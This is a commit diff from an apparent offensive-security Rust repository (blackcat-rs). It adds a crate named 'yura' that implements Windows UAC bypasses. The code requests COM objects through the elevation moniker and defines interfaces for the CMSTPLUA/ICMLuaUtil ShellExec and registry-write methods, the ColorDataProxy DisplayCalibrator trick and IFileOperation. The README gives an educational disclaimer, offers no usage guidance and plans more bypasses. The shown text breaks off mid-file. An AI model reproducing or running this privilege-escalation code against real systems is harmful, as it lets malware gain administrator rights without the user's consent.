mirror of
https://github.com/2vg/blackcat-rs
synced 2026-06-08 10:16:29 +00:00
added "yura"
This commit is contained in:
@@ -14,4 +14,5 @@ members = [
|
||||
"crate/process-hide",
|
||||
"crate/process-hollow",
|
||||
"crate/reflective-dll-injection",
|
||||
"crate/yura"
|
||||
]
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
[package]
|
||||
name = "yura"
|
||||
version = "0.1.0"
|
||||
authors = ["uru <mail@nyaa.gg>"]
|
||||
edition = "2018"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[dependencies]
|
||||
anyhow = "1.0.40"
|
||||
ntapi = { version = "0.3.6", features = ["nightly"] }
|
||||
winapi = { version = "0.3.9", features = ["combaseapi", "minwindef", "objbase", "objidl", "processthreadsapi", "shellapi", "shobjidl", "shobjidl_core", "winerror", "winnt"] }
|
||||
windows = "0.7.0"
|
||||
winreg = "0.8.0"
|
||||
|
||||
[build-dependencies]
|
||||
windows = "0.7.0"
|
||||
@@ -0,0 +1,18 @@
|
||||
yura
|
||||
===
|
||||
|
||||
Would like to take the magic of a black cat? ε٩(๑> 3 <)۶з
|
||||
|
||||
## Disclaimer
|
||||
**Code samples are provided for educational purposes. Adequate defenses can only be built by researching attack techniques available to malicious actors. Using this code against target systems without prior permission is illegal in most jurisdictions. The authors are not liable for any damages from misuse of this information or code**.
|
||||
|
||||
## usage
|
||||
`If you are interested in these, you should know how to use them`</br>
|
||||
If you are interested in this repository, i guess you already know some knowledge.</br>
|
||||
So I'll leave the code, but I won't explain them all.
|
||||
|
||||
## Plan
|
||||
- [ ] more COM bypass
|
||||
|
||||
## Contribute
|
||||
WELCOME ANYTIME
|
||||
@@ -0,0 +1,8 @@
|
||||
fn main() {
|
||||
windows::build!(
|
||||
Windows::Win32::SystemServices::PWSTR,
|
||||
Windows::Win32::WindowsAndMessaging::HWND,
|
||||
Windows::Win32::Com::BIND_OPTS3,
|
||||
Windows::Win32::Com::CoGetObject
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
use crate::global::*;
|
||||
use crate::shared::*;
|
||||
|
||||
use anyhow::*;
|
||||
use std::{
|
||||
ffi::c_void,
|
||||
mem::{size_of, zeroed},
|
||||
ptr::null_mut,
|
||||
};
|
||||
use winapi::shared::{
|
||||
guiddef::REFIID,
|
||||
minwindef::DWORD,
|
||||
ntdef::{HRESULT, LPWSTR},
|
||||
winerror::E_FAIL,
|
||||
wtypesbase::CLSCTX_LOCAL_SERVER,
|
||||
};
|
||||
mod bindings {
|
||||
::windows::include_bindings!();
|
||||
}
|
||||
use bindings::Windows::Win32::Com::CoGetObject;
|
||||
use bindings::Windows::Win32::Com::BIND_OPTS3;
|
||||
use bindings::Windows::Win32::SystemServices::PWSTR;
|
||||
use winreg::{enums::HKEY_LOCAL_MACHINE, RegKey};
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
pub fn alloc_elevated_object(
|
||||
lpObjectCLSID: impl Into<String>,
|
||||
riid: REFIID,
|
||||
dwClassContext: DWORD,
|
||||
ppv: *mut *mut c_void,
|
||||
) -> Result<HRESULT> {
|
||||
unsafe {
|
||||
let lpObjectCLSID = lpObjectCLSID.into();
|
||||
let mut classContext = 0;
|
||||
let mut ElevatedObject: *mut c_void = null_mut();
|
||||
let mut bop = zeroed::<BIND_OPTS3>();
|
||||
|
||||
if lpObjectCLSID.len() > 64 {
|
||||
return Ok(E_FAIL);
|
||||
}
|
||||
|
||||
bop.__AnonymousBase_objidl_L8501_C36
|
||||
.__AnonymousBase_objidl_L8477_C36
|
||||
.cbStruct = size_of::<BIND_OPTS3>() as _;
|
||||
classContext = dwClassContext;
|
||||
|
||||
if dwClassContext == 0 {
|
||||
classContext = CLSCTX_LOCAL_SERVER;
|
||||
}
|
||||
|
||||
bop.__AnonymousBase_objidl_L8501_C36.dwClassContext = classContext;
|
||||
|
||||
let mut moniker = cls_cat(lpObjectCLSID);
|
||||
|
||||
let res = CoGetObject(
|
||||
PWSTR(moniker.as_mut_ptr()),
|
||||
&mut bop as *const _ as *mut _,
|
||||
riid as _,
|
||||
&mut ElevatedObject as *mut _ as *mut _,
|
||||
);
|
||||
|
||||
if res.is_err() {
|
||||
dbg!(res.message());
|
||||
bail!("CoGetObject failed.");
|
||||
}
|
||||
|
||||
if ElevatedObject.is_null() {
|
||||
dbg!(res.message());
|
||||
bail!("Could not get elevated object.");
|
||||
}
|
||||
|
||||
*ppv = ElevatedObject;
|
||||
|
||||
Ok(res.0 as _)
|
||||
}
|
||||
}
|
||||
|
||||
// TODO: encrypted regkey name?
|
||||
pub fn is_approved_interface(InterfaceName: LPWSTR) -> Result<bool> {
|
||||
let hklm = RegKey::predef(HKEY_LOCAL_MACHINE);
|
||||
let var = hklm
|
||||
.open_subkey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\UAC\\COMAutoApprovalList")?;
|
||||
let val: u32 = var.get_value(from_wide_ptr(InterfaceName))?;
|
||||
|
||||
if val == 0x1 {
|
||||
Ok(true)
|
||||
} else {
|
||||
dbg!(InterfaceName);
|
||||
bail!("InterfaceName not found in COMAutoApprovalList.")
|
||||
}
|
||||
}
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
fn cls_cat(lpObjectCLSID: impl Into<String>) -> Vec<u16> {
|
||||
let lpObjectCLSID = lpObjectCLSID.into();
|
||||
e(&format!("{}{}", T_ELEVATION_MONIKER_ADMIN, lpObjectCLSID))
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
use winapi::shared::guiddef::GUID;
|
||||
|
||||
pub const T_DISPLAY_CALIBRATION: &'static str =
|
||||
"Software\\Microsoft\\Windows NT\\CurrentVersion\\ICM\\Calibration";
|
||||
|
||||
pub const T_ELEVATION_MONIKER_ADMIN: &'static str = "Elevation:Administrator!new:";
|
||||
pub const T_CALIBRATOR_VALUE: &'static str = "DisplayCalibrator";
|
||||
|
||||
pub const T_CLSID_CMSTPLUA: &'static str = "{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";
|
||||
#[allow(non_upper_case_globals)]
|
||||
pub const T_CLSID_ColorDataProxy: &'static str = "{D2E7041B-2927-42fb-8E9F-7CE93B6DC937}";
|
||||
#[allow(non_upper_case_globals)]
|
||||
pub const T_CLSID_FileOperation: &'static str = "{3AD05575-8857-4850-9277-11B85BDB8E09}";
|
||||
|
||||
#[allow(non_upper_case_globals)]
|
||||
pub const IID_ICMLuaUtil: &'static GUID = &GUID {
|
||||
Data1: 0x6EDD6D74,
|
||||
Data2: 0xC007,
|
||||
Data3: 0x4E75,
|
||||
Data4: [0xB7, 0x6A, 0xE5, 0x74, 0x09, 0x95, 0xE2, 0x4C],
|
||||
};
|
||||
#[allow(non_upper_case_globals)]
|
||||
pub const IID_IColorDataProxy: &'static GUID = &GUID {
|
||||
Data1: 0x0A16D195,
|
||||
Data2: 0x6F47,
|
||||
Data3: 0x4964,
|
||||
Data4: [0x92, 0x87, 0x9F, 0x4B, 0xAB, 0x6D, 0x98, 0x27],
|
||||
};
|
||||
#[allow(non_upper_case_globals)]
|
||||
pub const IID_IFileOperation: &'static GUID = &GUID {
|
||||
Data1: 0x947AAB5F,
|
||||
Data2: 0x0A5C,
|
||||
Data3: 0x4C13,
|
||||
Data4: [0xB4, 0xD6, 0x4B, 0xF7, 0x83, 0x6F, 0xC9, 0xF8],
|
||||
};
|
||||
#[allow(non_upper_case_globals)]
|
||||
pub const IID_IShellItem: &'static GUID = &GUID {
|
||||
Data1: 0x43826D1E,
|
||||
Data2: 0xE718,
|
||||
Data3: 0x42EE,
|
||||
Data4: [0xBC, 0x55, 0xA1, 0xE2, 0x61, 0xC3, 0x7B, 0xFE],
|
||||
};
|
||||
|
||||
pub const FOFX_SHOWELEVATIONPROMPT: u32 = 0x00040000;
|
||||
pub const FOFX_NOCOPYHOOKS: u32 = 0x00800000;
|
||||
pub const FOFX_REQUIREELEVATION: u32 = 0x10000000;
|
||||
|
||||
#[allow(non_upper_case_globals)]
|
||||
pub static mut IFileOperationFlags: u32 = 0x0;
|
||||
@@ -0,0 +1,195 @@
|
||||
#[allow(non_snake_case)]
|
||||
use winapi::{
|
||||
ctypes::c_void,
|
||||
shared::{
|
||||
guiddef::REFIID,
|
||||
minwindef::ULONG,
|
||||
ntdef::{HRESULT, LPCWSTR},
|
||||
},
|
||||
};
|
||||
use winreg::HKEY;
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
#[repr(C)]
|
||||
pub struct ICMLuaUtil {
|
||||
lpVtbl: *const ICMLuaUtilVtbl,
|
||||
}
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
#[repr(C)]
|
||||
pub struct ICMLuaUtilVtbl {
|
||||
// parent: IUnknownVtbl,
|
||||
QueryInterface:
|
||||
unsafe fn(this: *mut ICMLuaUtil, riid: REFIID, ppv: *mut *mut c_void) -> HRESULT,
|
||||
Addref: unsafe fn(this: *mut ICMLuaUtil) -> ULONG,
|
||||
Release: unsafe fn(this: *mut ICMLuaUtil) -> ULONG,
|
||||
SetRasCredentials: unsafe fn(this: *mut ICMLuaUtil) -> HRESULT,
|
||||
SetRasEntryProperties: unsafe fn(this: *mut ICMLuaUtil) -> HRESULT,
|
||||
DeleteRasEntry: unsafe fn(this: *mut ICMLuaUtil) -> HRESULT,
|
||||
LaunchInfSection: unsafe fn(this: *mut ICMLuaUtil) -> HRESULT,
|
||||
LaunchInfSectionEx: unsafe fn(this: *mut ICMLuaUtil) -> HRESULT,
|
||||
CreateLayerDirectory: unsafe fn(this: *mut ICMLuaUtil) -> HRESULT,
|
||||
ShellExec: unsafe fn(
|
||||
this: *mut ICMLuaUtil,
|
||||
lpFile: LPCWSTR,
|
||||
lpParameters: LPCWSTR,
|
||||
lpDirectory: LPCWSTR,
|
||||
fmask: ULONG,
|
||||
nShow: ULONG,
|
||||
) -> HRESULT,
|
||||
SetRegistryStringValue: unsafe fn(
|
||||
this: *mut ICMLuaUtil,
|
||||
hKey: HKEY,
|
||||
lpSubKey: LPCWSTR,
|
||||
lpValueName: LPCWSTR,
|
||||
lpValueString: LPCWSTR,
|
||||
) -> HRESULT,
|
||||
DeleteRegistryStringValue: unsafe fn(
|
||||
this: *mut ICMLuaUtil,
|
||||
hKey: HKEY,
|
||||
lpSubKey: LPCWSTR,
|
||||
lpValueName: LPCWSTR,
|
||||
) -> HRESULT,
|
||||
method3: unsafe fn(this: *mut ICMLuaUtil) -> HRESULT,
|
||||
method4: unsafe fn(this: *mut ICMLuaUtil) -> HRESULT,
|
||||
method5: unsafe fn(this: *mut ICMLuaUtil) -> HRESULT,
|
||||
method6: unsafe fn(this: *mut ICMLuaUtil) -> HRESULT,
|
||||
method7: unsafe fn(this: *mut ICMLuaUtil) -> HRESULT,
|
||||
method8: unsafe fn(this: *mut ICMLuaUtil) -> HRESULT,
|
||||
method9: unsafe fn(this: *mut ICMLuaUtil) -> HRESULT,
|
||||
method10: unsafe fn(this: *mut ICMLuaUtil) -> HRESULT,
|
||||
method11: unsafe fn(this: *mut ICMLuaUtil) -> HRESULT,
|
||||
method12: unsafe fn(this: *mut ICMLuaUtil) -> HRESULT,
|
||||
method13: unsafe fn(this: *mut ICMLuaUtil) -> HRESULT,
|
||||
}
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
impl ICMLuaUtil {
|
||||
pub unsafe fn QueryInterface(&self, riid: REFIID, ppv: *mut *mut c_void) -> HRESULT {
|
||||
((*self.lpVtbl).QueryInterface)(self as *const _ as *mut _, riid, ppv)
|
||||
}
|
||||
|
||||
pub unsafe fn Addref(&self) -> ULONG {
|
||||
((*self.lpVtbl).Addref)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn Release(&self) -> ULONG {
|
||||
((*self.lpVtbl).Release)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn SetRasCredentials(&self) -> HRESULT {
|
||||
((*self.lpVtbl).SetRasCredentials)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn SetRasEntryProperties(&self) -> HRESULT {
|
||||
((*self.lpVtbl).SetRasEntryProperties)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn DeleteRasEntry(&self) -> HRESULT {
|
||||
((*self.lpVtbl).DeleteRasEntry)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn LaunchInfSection(&self) -> HRESULT {
|
||||
((*self.lpVtbl).LaunchInfSection)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn LaunchInfSectionEx(&self) -> HRESULT {
|
||||
((*self.lpVtbl).LaunchInfSectionEx)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn CreateLayerDirectory(&self) -> HRESULT {
|
||||
((*self.lpVtbl).CreateLayerDirectory)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn ShellExec(
|
||||
&self,
|
||||
lpFile: LPCWSTR,
|
||||
lpParameters: LPCWSTR,
|
||||
lpDirectory: LPCWSTR,
|
||||
fmask: ULONG,
|
||||
nShow: ULONG,
|
||||
) -> HRESULT {
|
||||
((*self.lpVtbl).ShellExec)(
|
||||
self as *const _ as *mut _,
|
||||
lpFile,
|
||||
lpParameters,
|
||||
lpDirectory,
|
||||
fmask,
|
||||
nShow,
|
||||
)
|
||||
}
|
||||
|
||||
pub unsafe fn SetRegistryStringValue(
|
||||
&self,
|
||||
hKey: HKEY,
|
||||
lpSubKey: LPCWSTR,
|
||||
lpValueName: LPCWSTR,
|
||||
lpValueString: LPCWSTR,
|
||||
) -> HRESULT {
|
||||
((*self.lpVtbl).SetRegistryStringValue)(
|
||||
self as *const _ as *mut _,
|
||||
hKey,
|
||||
lpSubKey,
|
||||
lpValueName,
|
||||
lpValueString,
|
||||
)
|
||||
}
|
||||
|
||||
pub unsafe fn DeleteRegistryStringValue(
|
||||
&self,
|
||||
hKey: HKEY,
|
||||
lpSubKey: LPCWSTR,
|
||||
lpValueName: LPCWSTR,
|
||||
) -> HRESULT {
|
||||
((*self.lpVtbl).DeleteRegistryStringValue)(
|
||||
self as *const _ as *mut _,
|
||||
hKey,
|
||||
lpSubKey,
|
||||
lpValueName,
|
||||
)
|
||||
}
|
||||
|
||||
pub unsafe fn method3(&self) -> HRESULT {
|
||||
((*self.lpVtbl).method3)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn method4(&self) -> HRESULT {
|
||||
((*self.lpVtbl).method4)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn method5(&self) -> HRESULT {
|
||||
((*self.lpVtbl).method5)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn method6(&self) -> HRESULT {
|
||||
((*self.lpVtbl).method6)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn method7(&self) -> HRESULT {
|
||||
((*self.lpVtbl).method7)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn method8(&self) -> HRESULT {
|
||||
((*self.lpVtbl).method8)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn method9(&self) -> HRESULT {
|
||||
((*self.lpVtbl).method9)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn method10(&self) -> HRESULT {
|
||||
((*self.lpVtbl).method10)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn method11(&self) -> HRESULT {
|
||||
((*self.lpVtbl).method11)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn method12(&self) -> HRESULT {
|
||||
((*self.lpVtbl).method12)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn method13(&self) -> HRESULT {
|
||||
((*self.lpVtbl).method13)(self as *const _ as *mut _)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
use winapi::shared::windef::HWND;
|
||||
use winapi::{
|
||||
ctypes::c_void,
|
||||
shared::{guiddef::REFIID, minwindef::ULONG, ntdef::HRESULT},
|
||||
};
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
#[repr(C)]
|
||||
pub struct IColorDataProxy {
|
||||
lpVtbl: *const IColorDataProxyVtble,
|
||||
}
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
pub struct IColorDataProxyVtble {
|
||||
QueryInterface:
|
||||
unsafe fn(this: *mut IColorDataProxy, riid: REFIID, ppv: *mut *mut c_void) -> HRESULT,
|
||||
Addref: unsafe fn(this: *mut IColorDataProxy) -> ULONG,
|
||||
Release: unsafe fn(this: *mut IColorDataProxy) -> ULONG,
|
||||
method1: unsafe fn(this: *mut IColorDataProxy) -> HRESULT,
|
||||
method2: unsafe fn(this: *mut IColorDataProxy) -> HRESULT,
|
||||
method3: unsafe fn(this: *mut IColorDataProxy) -> HRESULT,
|
||||
method4: unsafe fn(this: *mut IColorDataProxy) -> HRESULT,
|
||||
method5: unsafe fn(this: *mut IColorDataProxy) -> HRESULT,
|
||||
method6: unsafe fn(this: *mut IColorDataProxy) -> HRESULT,
|
||||
method7: unsafe fn(this: *mut IColorDataProxy) -> HRESULT,
|
||||
method8: unsafe fn(this: *mut IColorDataProxy) -> HRESULT,
|
||||
method9: unsafe fn(this: *mut IColorDataProxy) -> HRESULT,
|
||||
method10: unsafe fn(this: *mut IColorDataProxy) -> HRESULT,
|
||||
method11: unsafe fn(this: *mut IColorDataProxy) -> HRESULT,
|
||||
LaunchDccw: unsafe fn(this: *mut IColorDataProxy, hwnd: HWND) -> HRESULT,
|
||||
}
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
impl IColorDataProxy {
|
||||
pub unsafe fn QueryInterface(&self, riid: REFIID, ppv: *mut *mut c_void) -> HRESULT {
|
||||
((*self.lpVtbl).QueryInterface)(self as *const _ as *mut _, riid, ppv)
|
||||
}
|
||||
|
||||
pub unsafe fn Addref(&self) -> ULONG {
|
||||
((*self.lpVtbl).Addref)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn Release(&self) -> ULONG {
|
||||
((*self.lpVtbl).Release)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn method1(&self) -> HRESULT {
|
||||
((*self.lpVtbl).method1)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn method2(&self) -> HRESULT {
|
||||
((*self.lpVtbl).method2)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn method3(&self) -> HRESULT {
|
||||
((*self.lpVtbl).method3)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn method4(&self) -> HRESULT {
|
||||
((*self.lpVtbl).method4)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn method5(&self) -> HRESULT {
|
||||
((*self.lpVtbl).method5)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn method6(&self) -> HRESULT {
|
||||
((*self.lpVtbl).method6)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn method7(&self) -> HRESULT {
|
||||
((*self.lpVtbl).method7)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn method8(&self) -> HRESULT {
|
||||
((*self.lpVtbl).method8)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn method9(&self) -> HRESULT {
|
||||
((*self.lpVtbl).method9)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn method10(&self) -> HRESULT {
|
||||
((*self.lpVtbl).method10)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn method11(&self) -> HRESULT {
|
||||
((*self.lpVtbl).method11)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn LaunchDccw(&self, hwnd: HWND) -> HRESULT {
|
||||
((*self.lpVtbl).LaunchDccw)(self as *const _ as *mut _, hwnd)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,213 @@
|
||||
use winapi::shared::{
|
||||
minwindef::DWORD,
|
||||
ntdef::LPCWSTR,
|
||||
};
|
||||
use winapi::{
|
||||
ctypes::c_void,
|
||||
shared::{guiddef::REFIID, minwindef::ULONG, ntdef::HRESULT},
|
||||
um::{shobjidl::IFileOperationProgressSink, shobjidl_core::IShellItem},
|
||||
};
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
#[repr(C)]
|
||||
pub struct IFileOperation {
|
||||
lpVtbl: *const IFileOperationVtble,
|
||||
}
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
pub struct IFileOperationVtble {
|
||||
QueryInterface:
|
||||
unsafe fn(this: *mut IFileOperation, riid: REFIID, ppv: *mut *mut c_void) -> HRESULT,
|
||||
Addref: unsafe fn(this: *mut IFileOperation) -> ULONG,
|
||||
Release: unsafe fn(this: *mut IFileOperation) -> ULONG,
|
||||
Advise: unsafe fn(this: *mut IFileOperation) -> HRESULT,
|
||||
Unadvise: unsafe fn(this: *mut IFileOperation) -> HRESULT,
|
||||
SetOperationFlags: unsafe fn(this: *mut IFileOperation, dwOperationFlags: DWORD) -> HRESULT,
|
||||
SetProgressMessage: unsafe fn(this: *mut IFileOperation) -> HRESULT,
|
||||
SetProgressDialog: unsafe fn(this: *mut IFileOperation) -> HRESULT,
|
||||
SetProperties: unsafe fn(this: *mut IFileOperation) -> HRESULT,
|
||||
SetOwnerWindow: unsafe fn(this: *mut IFileOperation) -> HRESULT,
|
||||
ApplyPropertiesToItem: unsafe fn(this: *mut IFileOperation) -> HRESULT,
|
||||
ApplyPropertiesToItems: unsafe fn(this: *mut IFileOperation) -> HRESULT,
|
||||
RenameItem: unsafe fn(
|
||||
this: *mut IFileOperation,
|
||||
psiItem: *mut IShellItem,
|
||||
pszNewName: LPCWSTR,
|
||||
pfopsItem: *mut IFileOperationProgressSink,
|
||||
) -> HRESULT,
|
||||
RenameItems: unsafe fn(this: *mut IFileOperation) -> HRESULT,
|
||||
MoveItem: unsafe fn(
|
||||
this: *mut IFileOperation,
|
||||
psiItem: *mut IShellItem,
|
||||
psiDestinationFolder: *mut IShellItem,
|
||||
pszCopyName: LPCWSTR,
|
||||
pfopsItem: *mut IFileOperationProgressSink,
|
||||
) -> HRESULT,
|
||||
MoveItems: unsafe fn(this: *mut IFileOperation) -> HRESULT,
|
||||
CopyItem: unsafe fn(
|
||||
this: *mut IFileOperation,
|
||||
psiItem: *mut IShellItem,
|
||||
psiDestinationFolder: *mut IShellItem,
|
||||
pszCopyName: LPCWSTR,
|
||||
pfopsItem: *mut IFileOperationProgressSink,
|
||||
) -> HRESULT,
|
||||
CopyItems: unsafe fn(this: *mut IFileOperation) -> HRESULT,
|
||||
DeleteItem: unsafe fn(
|
||||
this: *mut IFileOperation,
|
||||
psiItem: *mut IShellItem,
|
||||
pfopsItem: *mut IFileOperationProgressSink,
|
||||
) -> HRESULT,
|
||||
DeleteItems: unsafe fn(this: *mut IFileOperation) -> HRESULT,
|
||||
NewItem: unsafe fn(
|
||||
this: *mut IFileOperation,
|
||||
psiDestinationFolder: *mut IShellItem,
|
||||
dwFileAttributes: DWORD,
|
||||
pszName: LPCWSTR,
|
||||
pszTemplateName: LPCWSTR,
|
||||
pfopsItem: *mut IFileOperationProgressSink,
|
||||
) -> HRESULT,
|
||||
PerformOperations: unsafe fn(this: *mut IFileOperation) -> HRESULT,
|
||||
GetAnyOperationsAborted: unsafe fn(this: *mut IFileOperation) -> HRESULT,
|
||||
}
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
impl IFileOperation {
|
||||
pub unsafe fn QueryInterface(&self, riid: REFIID, ppv: *mut *mut c_void) -> HRESULT {
|
||||
((*self.lpVtbl).QueryInterface)(self as *const _ as *mut _, riid, ppv)
|
||||
}
|
||||
|
||||
pub unsafe fn Addref(&self) -> ULONG {
|
||||
((*self.lpVtbl).Addref)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn Release(&self) -> ULONG {
|
||||
((*self.lpVtbl).Release)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn Advise(&self) -> HRESULT {
|
||||
((*self.lpVtbl).Advise)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn ApplyPropertiesToItem(&self) -> HRESULT {
|
||||
((*self.lpVtbl).ApplyPropertiesToItem)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn ApplyPropertiesToItems(&self) -> HRESULT {
|
||||
((*self.lpVtbl).ApplyPropertiesToItems)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn CopyItem(
|
||||
&self,
|
||||
psiItem: *mut IShellItem,
|
||||
psiDestinationFolder: *mut IShellItem,
|
||||
pszCopyName: LPCWSTR,
|
||||
pfopsItem: *mut IFileOperationProgressSink,
|
||||
) -> HRESULT {
|
||||
((*self.lpVtbl).CopyItem)(
|
||||
self as *const _ as *mut _,
|
||||
psiItem,
|
||||
psiDestinationFolder,
|
||||
pszCopyName,
|
||||
pfopsItem,
|
||||
)
|
||||
}
|
||||
|
||||
pub unsafe fn CopyItems(&self) -> HRESULT {
|
||||
((*self.lpVtbl).CopyItems)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn DeleteItem(
|
||||
&self,
|
||||
psiItem: *mut IShellItem,
|
||||
pfopsItem: *mut IFileOperationProgressSink,
|
||||
) -> HRESULT {
|
||||
((*self.lpVtbl).DeleteItem)(self as *const _ as *mut _, psiItem, pfopsItem)
|
||||
}
|
||||
|
||||
pub unsafe fn DeleteItems(&self) -> HRESULT {
|
||||
((*self.lpVtbl).DeleteItems)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn GetAnyOperationsAborted(&self) -> HRESULT {
|
||||
((*self.lpVtbl).GetAnyOperationsAborted)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn MoveItem(
|
||||
&self,
|
||||
psiItem: *mut IShellItem,
|
||||
psiDestinationFolder: *mut IShellItem,
|
||||
pszCopyName: LPCWSTR,
|
||||
pfopsItem: *mut IFileOperationProgressSink,
|
||||
) -> HRESULT {
|
||||
((*self.lpVtbl).MoveItem)(
|
||||
self as *const _ as *mut _,
|
||||
psiItem,
|
||||
psiDestinationFolder,
|
||||
pszCopyName,
|
||||
pfopsItem,
|
||||
)
|
||||
}
|
||||
|
||||
pub unsafe fn MoveItems(&self) -> HRESULT {
|
||||
((*self.lpVtbl).MoveItems)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn NewItem(
|
||||
&self,
|
||||
psiDestinationFolder: *mut IShellItem,
|
||||
dwFileAttributes: DWORD,
|
||||
pszName: LPCWSTR,
|
||||
pszTemplateName: LPCWSTR,
|
||||
pfopsItem: *mut IFileOperationProgressSink,
|
||||
) -> HRESULT {
|
||||
((*self.lpVtbl).NewItem)(
|
||||
self as *const _ as *mut _,
|
||||
psiDestinationFolder,
|
||||
dwFileAttributes,
|
||||
pszName,
|
||||
pszTemplateName,
|
||||
pfopsItem,
|
||||
)
|
||||
}
|
||||
|
||||
pub unsafe fn PerformOperations(&self) -> HRESULT {
|
||||
((*self.lpVtbl).PerformOperations)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn RenameItem(
|
||||
&self,
|
||||
psiItem: *mut IShellItem,
|
||||
pszNewName: LPCWSTR,
|
||||
pfopsItem: *mut IFileOperationProgressSink,
|
||||
) -> HRESULT {
|
||||
((*self.lpVtbl).RenameItem)(self as *const _ as *mut _, psiItem, pszNewName, pfopsItem)
|
||||
}
|
||||
|
||||
pub unsafe fn RenameItems(&self) -> HRESULT {
|
||||
((*self.lpVtbl).RenameItems)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn SetOperationFlags(&self, dwOperationFlags: DWORD) -> HRESULT {
|
||||
((*self.lpVtbl).SetOperationFlags)(self as *const _ as *mut _, dwOperationFlags)
|
||||
}
|
||||
|
||||
pub unsafe fn SetOwnerWindow(&self) -> HRESULT {
|
||||
((*self.lpVtbl).SetOwnerWindow)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn SetProgressDialog(&self) -> HRESULT {
|
||||
((*self.lpVtbl).SetProgressDialog)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn SetProgressMessage(&self) -> HRESULT {
|
||||
((*self.lpVtbl).SetProgressMessage)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn SetProperties(&self) -> HRESULT {
|
||||
((*self.lpVtbl).SetProperties)(self as *const _ as *mut _)
|
||||
}
|
||||
|
||||
pub unsafe fn Unadvise(&self) -> HRESULT {
|
||||
((*self.lpVtbl).Unadvise)(self as *const _ as *mut _)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
#[allow(non_snake_case)]
|
||||
pub mod ICMLuaUtil;
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
pub mod IColorDataProxy;
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
pub mod IFileOperation;
|
||||
@@ -0,0 +1,6 @@
|
||||
pub mod com_utils;
|
||||
pub mod global;
|
||||
pub mod interface;
|
||||
pub mod methods;
|
||||
pub mod shared;
|
||||
pub mod utils;
|
||||
@@ -0,0 +1,150 @@
|
||||
use std::ptr::null_mut;
|
||||
|
||||
use anyhow::*;
|
||||
use winapi::{
|
||||
shared::{
|
||||
winerror::{FAILED, S_OK},
|
||||
wtypesbase::CLSCTX_LOCAL_SERVER,
|
||||
},
|
||||
um::{
|
||||
combaseapi::{CoInitializeEx, CoUninitialize},
|
||||
